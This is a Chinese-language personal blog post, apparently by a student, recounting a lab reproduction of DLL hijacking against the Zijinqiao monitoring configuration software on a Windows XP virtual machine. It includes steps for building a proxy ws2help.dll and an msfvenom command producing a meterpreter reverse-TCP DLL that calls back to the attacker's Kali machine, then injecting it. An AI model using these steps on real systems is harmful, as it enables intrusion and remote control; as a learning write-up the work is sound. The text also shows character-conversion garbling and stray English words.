本文首發於個人我的博客,記錄了我在實驗室學習滲透測試所作的第一個漏洞復現,但願能對您有所幫助!
若是文章有錯,請前往個人我的博客覈對,或者在評論區留言告知,謝謝html
緊張刺激史無前例突如其來慘絕人寰的線上期末考試結束了,我也要開始作實驗室的工做了,這學期由於學姐在準備畢業,我也划水了很久,中間只作過一些小任務,那麼這個暑假就要把該還的賬還清了(忽然淚目)。linux
我在期末考試前和博士聯繫過了,說本身想要學習滲透測試方面的內容,那麼第一個任務就是復現DLL劫持。謹以此博,記念我考後生還(劃掉)的第一個小任務。git
啊啊啊啊正在作的時候那個新帶個人學長跟我說他也試了下,沒實現…沒事,我儘管作我本身的。github
Kali用得好,牢飯吃到飽...啊不是,工具無罪。shell
Kali以前安裝過,還在上面配置了Mulval(攻擊圖項目的第一個任務),因此此次也是輕車熟路,除了中間「選擇安裝軟件」多是由於網絡問題吧,失敗了兩次。編程
如何在VMWare上安裝Kali Linux 2020.2版本的虛擬機詳見該文。windows
原本我想用我家那臺十年前的機器(前段時間升級了下內存和硬盤,還能用),但又怕搞壞了很差交代,因此仍是老老實實下虛擬機吧。安全
這個在官網沒找到資源,就隨便在其餘地方找了個資源,安全性沒法保證,湊活着用吧。網絡
具體安裝過程...傻瓜式操做應該不須要教程吧?tcp
界面提示我大概要二三十分鐘,實際過程沒那麼長,一局遊戲都沒打完呢...
首先是紫金橋監控組態軟件 V6.5。我在xp上打不開這個網站,因此就在win10下下載後利用vmtools(xp系統搭建好後自動下載了vmtools,挺省心的)將該軟件複製了過來。
另外也要安裝Process Explorer。
開啓進程ProgMan.exe(即紫金橋監控組態軟件,在安裝目錄下能夠找到該執行文件),打開procexp。其實二者無關前後。在procexp下能夠看到ProgMan.exe進程,而後按照個人選項配置,能夠看到下面的窗口。
與註冊表相對比:
這說明咱們的ws2help.dll知足dll劫持的要求。
首先要配置Python2.7環境,這個沒必要多說。安裝好後,pip下載所須要的包pefile,這個包沒多大,不必再換源了。下載好後,在Github上下載咱們須要的一個DLL_Hijacker.py文件,而後cd到該文件所在位置,在命令行中執行:
DLL_Hijacker.py c:\WINDOWS\system32\ws2help.dll
結果以下:
同時,在該目錄下,ws2help.cpp文件也已經生成了。
而後將ws2help.cpp編譯爲ws2help.dll。這一步須要用到VC++6.0,推薦直接在靶機中安裝(Win10不太兼容)。具體步驟以下:
在VC++ 6.0中新建一個Win32 Dynamic-Link Library工程,名稱任意。
建立一個簡單的DLL工程
將ws2help.cpp中的代碼複製到該工程Source File文件夾下的XXX.cpp(XXX爲工程名)文件中,注意加上如圖所示的頭文件。
若是剛開始就直接編譯ws2help.cpp,會報錯,解決方法是先編譯同目錄下的StdAfx.cpp文件,沒有錯誤後再編譯ws2help.cpp。編譯方法爲「組建-->編譯xxx.cpp」。
編譯無誤後,點擊「組建-->組建xxx.dll」,正確完成後,能夠在工程目錄下的Debug文件夾下找到生成的dll文件。
以後,將該dll文件放入與progman.exe同一目錄下,再次打開ProgMan.exe,會有彈窗提示。
進入kali,檢查msfvenom是否正常(在命令行中輸入msfvenom
)。若正常,則在命令行鍵入:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<本機IP> LPORT=1234 -f dll >/root/ws2help.dll
以後,會在root下生成咱們須要的ws2help.dll文件,將該文件拷貝到靶機(XP)下。這一步可能會比較麻煩,能夠將該文件放入壓縮包內,再進行復制粘貼。
在Kali命令行中輸入msfconsole
開啓msf,利用msf中的handler模塊開啓監聽:
在靶機中開啓進程ProgMan.exe,利用Dllinject.exe,將ws2help.dll注入到進程。這裏好像對ws2help.dll和Dllinject.exe的位置也有要求,最開始我把它們倆同時放在ProgMan.exe所在目錄下,但Dllinject.exe沒法正常運行。以後我把ws2help.dll放在桌面,Dllinject.exe放在其餘目錄下,能夠正常運行了。
找到ProgMan進程,點擊注入,注入時要選擇ws2help.dll所在位置,其餘不用填。回到Kali,發現已經提權成功了。
實驗結束。
本實驗對於剛剛接觸滲透測試的我來講,說難也不難,但也確實花了很長時間,主要就是在編譯cpp文件爲dll時出了問題。我一直在嘗試在命令行界面直接經過g++命令來進行編譯,但結果老是錯誤的。最終,在王博士的提示下,我用了VC++6.0來進行編譯。一開始也出了問題,由於VC++6.0版本過於古老,和Win10不兼容,不管我怎麼編譯,都會報錯。在網上查到了解決方法,但一一嘗試後,都沒有用。最後只得下載了Win7虛擬機,別問我爲何不直接在Win XP下下載,由於我一開始覺得XP也不兼容...嘛,反正都解決啦,無論那麼多啦!
這只是滲透測試之路的起點,就遇到了難啃的硬骨頭,之後會遇到多少麻煩可想而知,但我相信本身能夠堅持學下去,加油!